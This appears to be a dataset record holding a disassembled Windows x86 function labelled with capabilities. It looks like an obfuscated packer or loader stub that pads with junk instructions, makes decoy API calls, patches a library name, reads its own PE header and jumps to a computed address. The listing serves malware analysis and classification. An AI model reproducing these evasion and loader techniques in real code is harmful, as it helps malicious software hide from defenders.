Function at 0x401f53
Capabilities:
Authenticate hmac
Encode data using xor
Hide graphical window
Parse pe header
Query environment variable
Set file attributes

Disassembly:
mov dword [0x406150], 0x45
sbb ebx, edx
sub edx, ecx
sub ebx, 0x35
sub ebx, ebx
or dword [0x4061ec], ebx
push 1
adc dword [0x406016], 0x38
add edx, 0xffffffaa
or dword [0x406105], eax
xor edi, edi
sub eax, dword [0x406104]
push 0
push 3
call dword [sym.imp.KERNEL32.dll_SleepEx]
sub edx, dword [0x40600a]
sbb dword [0x406157], edi
or eax, 0x13
adc dword [0x406194], ebx
dec dword [esp]
jne 0x4010f3
add edi, ecx
add esi, ecx
xor eax, edx
or dword [0x406011], 0x64
adc edx, dword [0x406038]
add esp, 4
cmp bp, 0xfd00
jb 0x402fad
push str.gapi32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x402fad
sub byte [0x406136], 0xfd
or dword [0x406083], edi
adc dword [0x406149], 0x7b
add esi, 0xfffffff9
lea esi, str.gapi32.DLL
mov byte [esi], 0x74
adc dword [0x40609d], 0x41
or dword [0x4060a6], ecx
and dword [0x4060e7], 0xce
sub ecx, edx
push esi
sbb ecx, edi
or ecx, 2
and dword [0x4060d2], esi
or edi, dword [0x4061bb]
sub esi, ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
or dword [0x40619a], edi
mov dword [0x4060af], 0x8c
sbb esi, ecx
add edx, esi
and ecx, 0xffffff8d
or dword [0x4061af], esi
mov dword [0x406204], eax
mov edx, dword [0x406204]
sbb dword [0x4060c8], 0xd1
add eax, esi
adc ecx, 0xffffff96
add al, 0xe8
sub edi, ecx
or ebx, 5
add edx, dword [edx + 0x3c]
sub edi, 0xffffffa8
adc eax, dword [0x4061b5]
sbb ebx, edi
adc dword [0x406183], 8
adc ah, ah
add edx, 0xa4
adc dword [0x4061cb], 0x8b
or dword [0x40618b], edi
mov dword [0x406094], 0x7d
or eax, dword [0x406179]
and dword [0x40609a], 0xfa
and dword [0x4060f5], esi
push 0
push 4
push edx
push 0x40621e
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [0x40621e], 0x1400
jb 0x402fad
and byte [0x4060c7], dl
adc dword [0x40613b], 0x5d
adc dword [0x406153], 0x7b
and dword [0x4061e3], ebx
or edi, 0xffffff81
lea edx, [0xb7f8a06e]
mov dword [0x406109], eax
adc dword [0x4060b8], ecx
adc esi, eax
xor eax, edi
add eax, ecx
add edx, 0x48477408
xor esi, eax
sub byte [0x406069], 0x4f
sbb ecx, ecx
xor esi, ebx
push edx
ret
xor edi, edi
sbb dword [0x406184], edi
sbb dword [0x4060f8], 0x82
or esi, dword [0x406158]
sbb dword [0x406198], 0xf1
sbb edi, 0xfffffff4
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x401296
add eax, 0x7c
sub esi, dword [0x406099]
or dword [0x40614a], esi
mov dword [0x4060cb], 0xa0
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401296
add dword [0x40606f], ebx
adc ecx, dword [0x4060fb]
add dh, cl
mov dword [0x40609d], 0xad
adc bh, byte [0x4061d8]
jmp 0x40295a
or bh, byte [0x4061dd]
xor dword [0x40608e], 0x19
adc ebx, dword [0x406053]
or edi, dword [0x4060b9]
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40134a
xor edi, 0x63
mov dword [0x4061f4], 0xb5
sbb dword [0x40613c], edi
sub eax, 0x13
and dword [0x406061], edi
adc edi, dword [0x40615d]
jmp 0x4052fb
or dword [0x4060ed], edi
add dword [0x4060b3], edi
adc bh, 0xef
or ah, byte [0x40608f]
adc ebx, esi
sub dword [0x4060da], ebx
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4013d5
or dword [0x40604d], 0x30
sub byte [0x4060bf], 0x6e
and dword [0x4060fa], ebx
sbb dword [0x4061c4], 0x78
adc dword [0x406087], edi
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4013d5
adc byte [0x40611a], al
add eax, esi
xor dword [0x4060c3], 0xe3
xor edi, esi
jmp 0x40194c
adc esi, dword [0x4060d6]
adc edi, dword [0x406014]
adc edi, 0x24
sub dword [0x40606b], edi
push 5
lea ecx, [0x406233]
push dword [ecx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40168b
adc edx, dword [0x4060a3]
sub al, 0xab
or dword [0x40611d], eax
sbb dword [0x4061dc], ebx
or dword [0x406168], 0x23
jmp 0x405699
adc esi, dword [0x406105]
adc ebx, dword [0x406121]
xor dword [0x4061b3], 0xa
add edx, 0xffffffec
xor dword [0x406123], 0x5b
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401702
adc edx, dword [0x406101]
sub dword [0x40610a], edx
sbb dword [0x40606b], 0x10
adc dword [0x40616c], 0x68
add edx, eax
jmp 0x401296
or dword [0x40618f], 0x2b
adc esi, dword [0x40619e]
and eax, 0x39
sbb esi, eax
adc dword [0x4060a7], ebx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401784
sub byte [0x40616e], 0xef
add ecx, 0xffffff90
add dword [0x406079], eax
adc edi, 0xffffffc0
sbb edi, edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401784
or dword [0x406042], 3
adc dword [0x40613c], ebx
add eax, ebx
adc eax, edi
add ecx, 0x4f
add ebx, 0xffffffb5
jmp 0x404f47
add ecx, ebx
sub ecx, dword [0x4061d9]
or ebx, 0x7c
mov dword [0x406064], edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x401829
sbb eax, edi
and edi, 0xffffffce
or dword [0x406096], 0x8f
add edi, 0x18
adc dword [0x406154], 0x1e
lea esi, [0x40622f]
push dword [esi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x401829
adc edi, edi
mov dword [0x4060c2], esi
add edx, 0xffffffd6
adc dl, byte [0x40616a]
jmp 0x401bb7
or eax, dword [0x4060ea]
adc dword [0x4060d0], edi
or dword [0x4060a7], 0xa5
adc dword [0x40617b], ebx
and dword [0x406111], edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4018d8
add edx, edi
xor edx, 0xffffffc1
and dword [0x40617c], 0x7e
add cl, 0xcd
add esi, edi
jmp 0x404c83
xor eax, ebx
and dword [0x40609a], 0xdc
or dword [0x4060c5], esi
add ecx, edi
mov dword [0x4060e6], edi
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x40194c
add edx, 0xffffffe9
xor esi, edx
sbb dword [0x40615f], 0x77
xor dword [0x406018], esi
sbb dword [0x40605d], eax
sub ebx, 0xffffffb4
jmp 0x403a08
adc byte [0x40606a], bl
and ebx, 0x6c
mov dword [0x40605d], 0xd5
sbb byte [0x4061dd], ah
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4019d6
sbb eax, eax
adc edi, 0x47
adc ebx, dword [0x406147]
and dword [0x4061a2], 0x38
adc edx, dword [0x4060da]
mov dword [0x40600b], edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4019d6
adc ebx, eax
add eax, edi
mov dword [0x406043], eax
sub ah, byte [0x4061e5]
jmp 0x402b62
or dword [0x4060e0], 0x50
add edx, 0xffffffe3
sbb edi, esi
sub dword [0x406014], edx
adc dword [0x4061b2], 0xb9
sbb dword [0x40611a], 0x56
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x401a78
or ebx, 0xfffffffd
adc bl, byte [0x4061e2]
add dl, 0xf7
xor ebx, 0x62
xor eax, eax
xor dword [0x406031], 0xc6
jmp 0x401afb
adc dword [0x406152], edi
xor dword [0x40616f], 0x7c
add edx, eax
and dword [0x40604f], 0x96
add ebx, 0xffffffac
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x401afb
adc edx, dword [0x406041]
sbb dword [0x406124], edi
add bh, al
sub byte [0x406057], 0xbc
or dword [0x406179], edx
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x401afb
xor dword [0x406153], ebx
xor edi, 0xffffffdd
sub bl, byte [0x406029]
adc dword [0x4060a4], 0x5d
jmp 0x404b45
adc dword [0x4061f9], eax
sbb dword [0x4060e8], 0xe4
adc ecx, dword [0x406185]
add edx, 0xffffffa3
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x401bb7
add dword [0x40610d], ebx
xor edi, edi
adc edi, esi
mov dword [0x40617d], 0x80
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x401bb7
and dword [0x406197], esi
sub byte [0x40603e], 0x8e
adc eax, dword [0x40602a]
add dword [0x406147], eax
adc dword [0x40607f], esi
jmp 0x402d9d
add edx, 0x22
add dh, 0xec
sub edi, ebx
and dword [0x406123], eax
mov dword [0x40613b], 0xd7
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x401c68
add dword [0x4060eb], esi
add ecx, 0xfffffffb
adc ch, byte [0x4060ed]
adc dword [0x4061b9], 0x7a
sbb dword [0x406194], 0x3b
adc esi, 0x70
jmp 0x402bca
xor esi, ebx
sbb byte [0x406060], bl
sbb dword [0x4061bf], esi
or esi, dword [0x406022]
adc dword [0x4061cc], 0xc6
adc bh, byte [0x4061f4]
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4028b1
sbb dword [0x4061c2], ebx
xor edi, ebx
add edx, 0x16
sub esi, 0xffffffe6
add cl, ah
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4028b1
adc dword [0x40615c], 0x41
add ecx, eax
adc al, byte [0x406186]
or dword [0x4060df], 0x63
add edi, eax
adc dword [0x4061ba], ecx
jmp 0x403f43
sbb eax, 0xffffffff
and dword [0x406194], 0x1b
adc dword [0x4060a8], ebx
add edx, eax
add ebx, 0xffffffbf
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401db9
and dword [0x406044], 0x56
xor dword [0x40613f], 0x4f
xor dword [0x40602f], 0xb9
xor dword [0x4060c1], 0xe
or dword [0x406041], ebx
jmp 0x404bce
adc dword [0x40601a], 0x8c
adc dword [0x406199], 0x3a
or esi, 0x20
add edi, esi
adc dword [0x40617b], 0x51
push 5
lea ecx, [0x406233]
push dword [ecx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x401e44
sbb dword [0x40617c], 0xc0
and bh, 0x44
adc ebx, ebx
adc ebx, 0xffffffd2
add ecx, 0xffffffe9
jmp 0x40204c
adc edx, dword [0x406033]
sbb ebx, edi
sub eax, 0xffffffe3
sub edx, dword [0x406139]
add ecx, ebx
or cl, 0x1d
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x401ed5
sub ebx, edi
and dword [0x40605e], eax
add dh, al
adc bh, byte [0x4060db]
jmp 0x404a1b
push ebp
mov ebp, esp
lea esp, [esp - 0x64]
cmp sp, 0xfcff
jb 0x402fad
adc eax, dword [0x4060a9]
or eax, dword [0x40601f]
add edi, eax
adc edx, dword [0x40612a]
adc edx, edi
add edx, edi
add ebx, eax
mov dword [0x406106], edi
or dl, byte [0x406130]
add esi, edi
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x405201
mov dword [0x4061b3], 0xcf
adc ecx, dword [0x4061df]
add edx, 0xffffffd7
sub edi, esi
add ebx, 0xffffffbc
and dword [0x406011], ebx
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x405201
adc esi, dword [0x4061af]
and dword [0x40619a], edi
sbb eax, 0xffffffdc
and dword [0x40614a], 0x87
jmp 0x404dd3
adc ah, byte [0x40611f]
mov dword [0x406054], 0xfb
sub ebx, eax
mov dword [0x4061fb], 0x53
add ecx, eax
sub edi, dword [0x406031]
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x40204c
mov dword [0x4061c3], 0x95
add ecx, edi
adc dword [0x406064], 0xdf
add eax, eax
sub edi, 0xffffffd2
xor dword [0x4060a0], 0xd
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40204c
adc bl, byte [0x406074]
adc edx, dword [0x406120]
adc edx, dword [0x406186]
sub dword [0x4061ab], esi
jmp 0x403c84
adc edx, dword [0x4060a8]
sbb edi, edx
and byte [0x40601b], bl
sbb dword [0x406143], edx
adc edi, dword [0x406081]
sub edi, dword [0x406040]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4020fa
adc ebx, 0xffffffa4
adc edi, eax
or esi, 0xffffffea
mov dword [0x406004], 0xbc
adc ebx, dword [0x406161]
jmp 0x4024bb
add eax, eax
xor edi, 0x18
adc dword [0x406189], ebx
or ebx, 0xffffffe7
add ebx, ebx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40218a
sub eax, esi
sbb ebx, eax
sub byte [0x40602b], 0xb
xor ebx, esi
or dword [0x406057], 0x9a
sbb esi, 0x24
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40218a
add edx, edi
adc ecx, dword [0x406112]
or byte [0x4060bb], dh
and dword [0x406079], 0xa1
adc ebx, 0xffffffaa
jmp 0x402fad
add edx, ebx
adc dword [0x4061c2], eax
xor edx, 0x5d
xor edi, edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x402238
adc edx, dword [0x40604f]
sub esi, esi
xor esi, edx
add ecx, 0x6d
add ebx, 0x25
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x402238
sbb dword [0x406190], 0xd4
add ecx, edi
sub dword [0x406065], ecx
add edx, esi
adc al, dh
jmp 0x4043fc
adc dword [0x40613d], 0x1e
add ecx, 0xe
adc dword [0x406144], esi
or al, byte [0x4061cc]
mov dword [0x406056], 0xba
add ebx, ebx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4022d5
mov dword [0x4060b4], edi
or dword [0x406012], 0x64
or eax, dword [0x40613f]
sub byte [0x406064], 0xda
or dword [0x4060eb], edi
add ecx, 0xffffffdf
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4022d5
xor dword [0x406007], esi
mov dword [0x4061f8], ebx
add ecx, 0x5c
sub dword [0x4060fb], edi
sbb ebx, 0xfffffff0
jmp 0x402fb2
xor dword [0x4060bc], 0xf0
add eax, edi
add ecx, 8
sbb dword [0x4060c8], ebx
adc dword [0x406004], 0x3d
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40239c
add edx, edi
adc ecx, dword [0x406077]
sbb al, 0x21
xor eax, 0x4d
add ebx, edx
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40239c
xor esi, edi
adc dword [0x406048], 0x94
adc eax, edi
add edx, 0xffffffa3
adc dword [0x4061ad], 0xc9
jmp 0x40365c
xor eax, eax
add ecx, 0x5a
adc byte [0x4061b3], bl
mov dword [0x4060f3], ecx
add edx, 0xffffff94
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40243b
adc edi, 0x1c
sub eax, dword [0x4060ca]
xor dword [0x406026], 0x78
or dword [0x406045], edi
add esi, ebx
add dh, 0xf0
jmp 0x402238
adc dword [0x406068], 0xc8
xor dword [0x406131], 0xe
sbb dword [0x406018], ebx
sub byte [0x4061f9], 0xd0
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4024bb
adc ebx, dword [0x4060ed]
adc esi, edi
mov dword [0x4060da], ebx
adc dword [0x406125], 0x20
and dword [0x4060a1], eax
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4024bb
or edi, dword [0x4061e8]
xor esi, edi
add ecx, 0xffffffe3
sub byte [0x406137], 0x85
mov dword [0x4061e1], eax
jmp 0x403449
sub ebx, esi
add eax, edi
adc bl, byte [0x4061dd]
add edx, 0xffffff8a
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x402556
xor dword [0x4061c7], eax
adc ah, byte [0x406006]
add ebx, esi
xor dword [0x406012], esi
sub dword [0x406181], edi
adc ah, byte [0x406173]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x402556
add edx, ebx
sub dword [0x406054], edx
add ecx, ebx
sub edx, 0x4d
jmp 0x4038db
or ebx, 0xffffffe3
sub dword [0x406096], ebx
mov dword [0x40601d], 0x4a
sub byte [0x406094], 0xde
or eax, 0x43
push 5
lea edx, [0x406233]
push dword [edx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4025f1
sub esi, dword [0x406143]
sub byte [0x406177], bh
add byte [0x406189], al
add dword [0x406074], ebx
add dword [0x406157], esi
jmp 0x403076
adc edi, esi
adc ebx, dword [0x406009]
adc ebx, dword [0x40603e]
sub byte [0x4061a0], 0xe
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4013d5
mov dword [0x406175], ebx
sub byte [0x4061e2], 0x50
sub bl, byte [0x40610a]
adc bh, bl
adc eax, 9
jmp 0x403778
xor dword [0x406093], eax
add dword [0x406152], ebx
sbb dword [0x40602a], 0xc3
or dword [0x40619c], 0x7f
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x4026e7
sbb dword [0x40602b], edi
sub byte [0x4060f0], 0xd4
adc ebx, dword [0x4061d9]
adc edx, dword [0x406086]
mov dword [0x40614e], 0xfd
jmp 0x40515c
xor dword [0x4061c7], esi
add edx, 0x66
sub byte [0x40609e], 0xb2
add dword [0x406091], ebx
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x401e44
or dword [0x406165], 0x26
sbb ebx, esi
mov dword [0x406180], 0x11
sub al, byte [0x406109]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401e44
add ebx, 0xffffffb5
adc edx, dword [0x406160]
add esi, 0xffffff88
and byte [0x406035], bh
jmp 0x402676
xor dword [0x40609f], 0x2f
xor eax, edi
add ecx, 1
add ebx, 0x53
sub ecx, 0xffffffa9
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x40281b
mov dword [0x4060f6], eax
adc edx, dword [0x406030]
xor edx, 0x34
sub byte [0x40614e], bl
push 5
lea ecx, [0x406233]
push dword [ecx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40281b
mov dword [0x4060a5], 0x3b
adc edi, dword [0x4061d0]
add edx, ebx
add ecx, 0x44
sub edi, 0xffffff84
sbb ecx, ecx
jmp 0x40168b
add dword [0x40615c], esi
adc ecx, dword [0x40605b]
sbb ebx, 0xffffffb5
adc ecx, 0x53
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4028b1
add dh, bh
sbb dword [0x406099], 0x72
xor dword [0x406088], 0x21
adc dword [0x406014], 0xd2
adc dword [0x40612a], 0xb2
or eax, dword [0x4060b9]
push 5
lea edx, [0x406233]
push dword [edx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4028b1
sbb eax, 0x26
add dh, 5
adc edi, 0x26
adc bh, byte [0x40614d]
jmp 0x4032dc
xor byte [0x406089], ah
and eax, 0x3e
sub esi, dword [0x4060d7]
add ecx, 0x51
sbb dword [0x406146], esi
add dword [0x406137], edi
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40295a
sbb dword [0x406021], 0x24
adc bh, bl
sbb esi, 0xffffffad
xor byte [0x40614c], bh
mov dword [0x4060ad], 0xf0
sbb dword [0x406091], ebx
push 5
lea edx, [0x406233]
push dword [edx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x40295a
sbb dword [0x406045], edi
sbb dword [0x40609a], 0xb
adc eax, 0x54
adc dword [0x40602b], 0x9c
and dword [0x40600a], ebx
jmp 0x402fad
adc dword [0x406146], edi
and dword [0x406151], eax
add edi, 0x2a
or bh, byte [0x406180]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x402a1b
adc dword [0x4060fc], 0x38
adc eax, dword [0x40602f]
adc dword [0x4061e6], 0xe4
sbb edi, eax
or esi, dword [0x40611a]
adc edi, dword [0x40602b]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x402a1b
xor ah, bh
add edx, edi
add ecx, 0x26
adc dword [0x4061a8], edx
jmp 0x403820
or eax, 0x37
adc eax, dword [0x4061cc]
add ecx, ebx
mov dword [0x406189], 0x2e
xor ecx, edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x402ab8
adc bh, byte [0x406034]
sbb dword [0x406008], edi
add edx, ebx
add ecx, 0xfffffffc
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x402ab8
adc edi, dword [0x40607a]
add edx, 2
or dword [0x406101], 0xbe
add dh, 0xa9
xor dword [0x406139], ebx
xor dword [0x406022], edx
jmp 0x4018d8
add esi, 0x28
or dword [0x4060de], ebx
add esi, 8
sbb ebx, ebx
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x402b62
add ecx, esi
add esi, 8
add eax, ecx
xor dword [0x406145], 0xad
jmp 0x40218a
or eax, dword [0x4060db]
and dword [0x4061b4], 0x3c
adc bl, byte [0x406141]
sbb dword [0x4060a7], 0x65
add ch, 0xcc
or edi, 0xffffffe1
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x402bca
adc ecx, dword [0x40606c]
add edx, 0xfffffffe
adc eax, dword [0x406063]
sub ecx, dword [0x4061f7]
push 5
lea esi, [0x406233]
push dword [esi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x402bca
and dword [0x40605c], ebx
sbb edi, 0x1a
add byte [0x406092], ah
adc ecx, dword [0x406129]
sub ch, 0xa8
or byte [0x4061b4], bh
jmp 0x403e8a
sbb eax, 0xffffffe5
adc dword [0x4060d0], ebx
sbb ebx, 0xffffffeb
adc eax, dword [0x40607f]
sub esi, ebx
add dword [0x4061c7], eax
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x402c84
and eax, 0x26
sub dword [0x4060f5], eax
xor ebx, 0xffffff82
add edi, 0xffffffce
add esi, ebx
or dword [0x40614f], eax
jmp 0x403d00
xor al, 0xfe
xor dword [0x4060b2], esi
add ebx, 0x4f
adc ecx, dword [0x4060d2]
sub dword [0x406099], eax
adc ebx, dword [0x40604f]
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x402cf2
sub eax, dword [0x4060ee]
adc dword [0x40610c], edi
adc dword [0x4061ec], 0xa7
adc edi, dword [0x4061c6]
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x402cf2
add ecx, ebx
sbb ebx, 0x73
sbb dword [0x40618d], ecx
or ecx, dword [0x406034]
xor ecx, 0x20
jmp 0x402fad
or dword [0x406127], 0x79
xor ebx, 0xffffffaa
adc al, byte [0x40610e]
xor dword [0x4061f6], 0x69
sbb dword [0x406157], esi
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x402d9d
adc eax, dword [0x4061e1]
add dh, 0xe9
adc esi, edx
or esi, dword [0x4060c6]
add ecx, 0xffffffc0
jmp 0x402fad
add edi, 0xd
adc edi, dword [0x40612c]
adc dword [0x406173], 0x86
xor dword [0x4061bd], edi
add dword [0x4060e9], edi
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x402e12
mov dword [0x4061f0], 0x95
or esi, dword [0x4060c3]
mov dword [0x4060de], eax
adc dword [0x4061e6], 2
add edx, 0x41
adc dword [0x406007], edi
lea esi, [0x40622f]
push dword [esi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x402e12
mov dword [0x406024], edi
adc esi, dword [0x4061bd]
add bh, bl
mov dword [0x4061fb], ebx
or edi, dword [0x406074]
add dword [0x4061cb], esi
jmp 0x401702
sub byte [0x406144], 0xd6
add ebx, edi
and dword [0x406180], 0x32
sbb dword [0x406063], 9
xor dword [0x406099], 0x96
add ecx, esi
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x402eda
add edi, 0xffffff93
add esi, 0xffffffd2
sbb bh, bh
sub bl, byte [0x4060d9]
sub ebx, 0xffffffa4
sub dword [0x406068], edi
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x402eda
or ebx, 0x6a
add ecx, edi
adc edx, dword [0x406028]
add dh, ah
adc dword [0x40609c], 0xa
sub esi, dword [0x406191]
jmp 0x401829
mov esp, ebp
pop ebp
hlt
add dh, al
or esi, dword [0x406131]
adc dword [0x40610d], 0x5d
sub byte [0x4061a3], 0x95
adc dword [0x4061d4], 0xb3
adc esi, dword [0x4060aa]
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x402fb2
sub edi, dword [0x40606a]
or ebx, dword [0x406002]
add esi, 0xffffff84
sub byte [0x406079], 0xf8
